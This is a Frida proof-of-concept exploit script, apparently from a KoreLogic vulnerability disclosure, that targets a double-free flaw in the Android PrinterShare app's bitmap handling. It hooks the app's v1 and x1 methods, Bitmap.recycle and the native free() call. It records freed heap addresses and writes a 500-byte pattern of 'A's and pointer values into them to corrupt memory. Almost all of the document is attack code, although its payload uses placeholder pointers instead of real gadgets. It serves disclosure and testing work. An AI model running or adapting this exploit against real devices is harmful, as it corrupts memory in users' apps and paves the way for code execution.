/** * KL-001-2025-005 : Proof-of-Concept * CVE-2025-5100 * Author: Felix Segoviano of KoreLogic, Inc. * Double-free exploitation script for PrinterShare app * Focusing on the bitmap handling vulnerability in ActivityPrintPictures */ /** The contents of this proof-of-concept are copyright(c) 2025 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy */ const config = { writeSize: 500, // Size of overflow buffer to write maxAddresses: 5, // Number of addresses to track exploitImmediately: true, // Try exploitation immediately after first free displaySize: 128 // Memory display size for analysis }; // Global state tracking const state = { freeAddresses: new Set(), // Track addresses that have been free'd addressesToWrite: [], // Prioritized addresses for exploitation writtenAddresses: new Set(), // Successfully written addresses bytesWritten: 0, // Total bytes written crashDetected: false, // Track if we caused a crash bitmaps: new Map(), // Track bitmap addresses recycledBitmaps: [], // Track sequence of recycled bitmaps freeHistory: [], // History of free operations exploitComplete: false, // Flag to avoid re-exploitation v1InProgress: false // Track when v1 method is executing }; // Helper to display memory contents with better error handling function safeShowMemory(address, title) { try { console.log(`\n=== ${title} ===`); const memory = Memory.readByteArray(address, config.displaySize); console.log(hexdump(memory, { header: true, ansi: true })); return true; } catch(e) { console.log(`[-] Memory read failed at ${address}: ${e.message}`); return false; } } // More robust overflow writing function function writeExploitPayload(address) { let success = false; try { if (state.writtenAddresses.has(address.toString())) { console.log(`[*] Already written to ${address}`); return false; } // Verify memory is readable before attempting write let readable = false; try { const testRead = Memory.readByteArray(address, 8); readable = true; safeShowMemory(address, `Memory at ${address} BEFORE overwrite`); } catch(e) { console.log(`[!] Warning: Memory at ${address} is not readable, but attempting write anyway`); } // Create exploitation pattern - 'A's followed by address pointers const pattern = new Array(config.writeSize); for (let i = 0; i < config.writeSize; i += 8) { // First 32 bytes are 'A's for basic overflow detection if (i < 32) { for (let j = 0; j < 8 && (i+j) < config.writeSize; j++) { pattern[i+j] = 0x41; // ASCII 'A' } } else { // Rest is function pointers (address of a target function) // We'll use the address of 'free' function itself as a simple pattern // In a real exploit, this would be address of gadgets or functions const freePtr = Module.findExportByName(null, "free").toString(); const targetValue = parseInt(freePtr); // Little-endian conversion of address to bytes if (i+7 < config.writeSize) { for (let j = 0; j < 8; j++) { pattern[i+j] = (targetValue >> (j*8)) & 0xFF; } } } } try { // Use NativePointer for more reliable writing const ptr = new NativePointer(address); Memory.writeByteArray(ptr, pattern); state.bytesWritten += pattern.length; state.writtenAddresses.add(address.toString()); success = true; console.log(`[+] Successfully wrote ${pattern.length} bytes to ${address}`); // Verify the write by reading back try { safeShowMemory(address, `Memory at ${address} AFTER overwrite`); } catch(e) { console.log(`[!] Cannot verify write - memory may be corrupted`); } } catch(e) { console.log(`[-] Write failed at ${address}: ${e.message}`); } } catch(e) { console.log(`[-] Exploitation attempt failed: ${e.message}`); } return success; } // Hook into Java runtime to monitor for crashes and bitmap operations Java.perform(function() { // Fix the finish() implementation with proper overloads Java.use("android.app.Activity").finish.overload().implementation = function() { console.log("[!] Activity.finish() called"); this.finish(); }; // Monitor Bitmap.recycle() to track bitmap deallocation const Bitmap = Java.use("android.graphics.Bitmap"); Bitmap.recycle.implementation = function() { const addr = Java.vm.getEncodedThis(this); console.log(`[+] Bitmap.recycle() called on bitmap @ ${addr}`); // Track this bitmap state.recycledBitmaps.push({ address: addr.toString(), timestamp: new Date(), stack: Thread.backtrace(this.context, Backtracer.ACCURATE) .map(frameAddr => { const mod = Process.findModuleByAddress(frameAddr) || { name: "unknown" }; return `${frameAddr} (${mod.name})`; }) }); // Check if we're in v1() method const stack = Thread.backtrace(this.context, Backtracer.ACCURATE); const stackStr = stack.map(addr => addr.toString()).join(" "); const inV1 = stackStr.includes("v1"); const inX1 = stackStr.includes("x1"); if (inV1) { console.log(`[!!!] Bitmap recycled while in v1() method - VULN TRIGGERED`); state.v1InProgress = true; } if (inX1 && state.v1InProgress) { console.log(`[!!!] VULNERABILITY CONFIRMED: Bitmap recycled by x1() during v1() execution`); // This is the vulnerable condition we want to exploit } // Call original method const result = this.recycle(); return result; }; // Hook x1 method which creates and immediately recycles bitmap try { const ActivityPrintPictures = Java.use("com.dynamixsoftware.printershare.ActivityPrintPictures"); ActivityPrintPictures.x1.implementation = function() { console.log(`[+] ActivityPrintPictures.x1() called`); // Capture call stack to check if called from v1 const stack = Thread.backtrace(this.context, Backtracer.ACCURATE); const stackStr = stack.map(addr => addr.toString()).join(" "); if (stackStr.includes("v1")) { console.log(`[!!!] VULNERABILITY TRIGGER: x1() called from v1()`); // If v1 is currently executing, we've identified the vulnerable path if (state.v1InProgress) { console.log(`[!!!] Double-free vulnerability about to happen!`); } } // Call original method this.x1(); console.log(`[+] ActivityPrintPictures.x1() completed`); }; } catch (e) { console.log(`[-] Failed to hook ActivityPrintPictures.x1: ${e}`); } // Hook v1 method which handles bitmap loading try { const ActivityPrintPictures = Java.use("com.dynamixsoftware.printershare.ActivityPrintPictures"); ActivityPrintPictures.v1.implementation = function(lVar) { console.log(`[+] Entering v1 method - loading bitmap`); state.v1InProgress = true; // Call original method and capture result const result = this.v1(lVar); state.v1InProgress = false; console.log(`[+] Exiting v1 method`); return result; }; } catch (e) { console.log(`[-] Failed to hook ActivityPrintPictures.v1: ${e}`); } // Global exception handler to track crashes Process.setExceptionHandler(function(details) { console.log(`\n[!] Process Exception: ${details.type} at ${details.address}`); console.log(`Message: ${details.message}`); // Check if the crash address is within our overwritten memory for (const addr of state.writtenAddresses) { const crashAddr = details.address.toString(); const exploitAddr = new NativePointer(addr).toString(); if (crashAddr.includes(exploitAddr.substring(2, 10))) { console.log(`[!!!] EXPLOITATION CONFIRMED: Crash at ${crashAddr} related to our overwrite at ${exploitAddr}`); } } // Check for "AAAA" pattern in crash address (our exploitation markers) if (details.address && details.address.toString(16).includes("41414141")) { console.log(`[!!!] EXPLOITATION CONFIRMED: Found injected "AAAA" pattern in crash address`); } state.crashDetected = true; return true; // Allow process to continue }); }); // Find the free function const freePtr = Module.findExportByName(null, "free"); const freeModule = Process.findModuleByAddress(freePtr); console.log(`[+] Found 'free' function at ${freePtr} in module: ${freeModule.name}`); // Intercept free() calls Interceptor.attach(freePtr, { onEnter: function(args) { if (state.exploitComplete) return; const addr = args[0]; if (addr.isNull()) return; // Get call stack info const callStack = Thread.backtrace(this.context, Backtracer.ACCURATE) .map(addr => { const mod = Process.findModuleByAddress(addr) || { name: "unknown" }; return `${addr} (${mod.name})`; }); const addrStr = addr.toString(); console.log(`\n[+] Intercepted free() at ${addrStr}`); // Record this free operation state.freeHistory.push({ address: addrStr, time: new Date(), stack: callStack }); // Check if this address was previously freed (double-free) if (state.freeAddresses.has(addrStr)) { console.log(`[!!!] DOUBLE-FREE DETECTED at ${addrStr}`); // Identify bitmap-related double-frees const bitmapRelated = callStack.some(frame => frame.includes("Bitmap") || frame.includes("v1") || frame.includes("x1") ); if (bitmapRelated) { console.log(`[!!!] Double-free related to bitmap operations (v1/x1 methods)`); } // Add to high-priority exploitation targets if (!state.addressesToWrite.includes(addrStr)) { state.addressesToWrite.unshift(addrStr); // Add to front of array } } else { // First-time free - save the address state.freeAddresses.add(addrStr); // Add to exploitation targets - but at lower priority if (!state.addressesToWrite.includes(addrStr)) { state.addressesToWrite.push(addrStr); } // Try to display memory contents at this address safeShowMemory(addr, `Memory state at first free`); // If immediate exploitation is enabled, try it right away if (config.exploitImmediately && !state.exploitComplete) { console.log(`\n[*] Immediate exploitation attempt for ${addrStr}`); try { // Attempt exploitation with a slight delay to ensure free completes setTimeout(function() { if (writeExploitPayload(addr)) { console.log(`[+] Immediate exploitation succeeded for ${addrStr}`); state.exploitComplete = true; } else { console.log(`[-] Immediate exploitation failed for ${addrStr}`); } }, 10); // Small delay to let the free operation complete } catch(e) { console.log(`[-] Error during immediate exploitation: ${e.message}`); } } } // Check if we have enough addresses for batch exploitation if (state.addressesToWrite.length >= config.maxAddresses && !state.exploitComplete) { console.log(`\n[!] Starting batch exploitation with ${state.addressesToWrite.length} targets`); let exploitSuccess = false; // Try exploiting addresses in order (double-freed first) for (const targetAddr of state.addressesToWrite) { if (state.exploitComplete) break; console.log(`\n[*] Attempting exploitation of ${targetAddr}`); const ptr = new NativePointer(targetAddr); if (writeExploitPayload(ptr)) { console.log(`[+] Exploitation succeeded for ${targetAddr}`); exploitSuccess = true; // Stop after first successful exploitation if (state.crashDetected || exploitSuccess) { state.exploitComplete = true; break; } } } // Show exploitation summary console.log(`\n[!] === Exploitation Summary ===`); console.log(`[+] Addresses written: ${state.writtenAddresses.size}/${state.addressesToWrite.length}`); console.log(`[+] Total bytes written: ${state.bytesWritten}`); console.log(`[+] Crash detected: ${state.crashDetected}`); console.log(`[+] Double-frees detected: ${state.freeAddresses.size - state.addressesToWrite.length}`); state.exploitComplete = true; } } }); // Initialize exploit console.log("[+] Double-free exploitation script initialized"); console.log("[+] Targeting the v1()->x1() bitmap handling vulnerability"); console.log("[+] Waiting for free() calls to intercept...");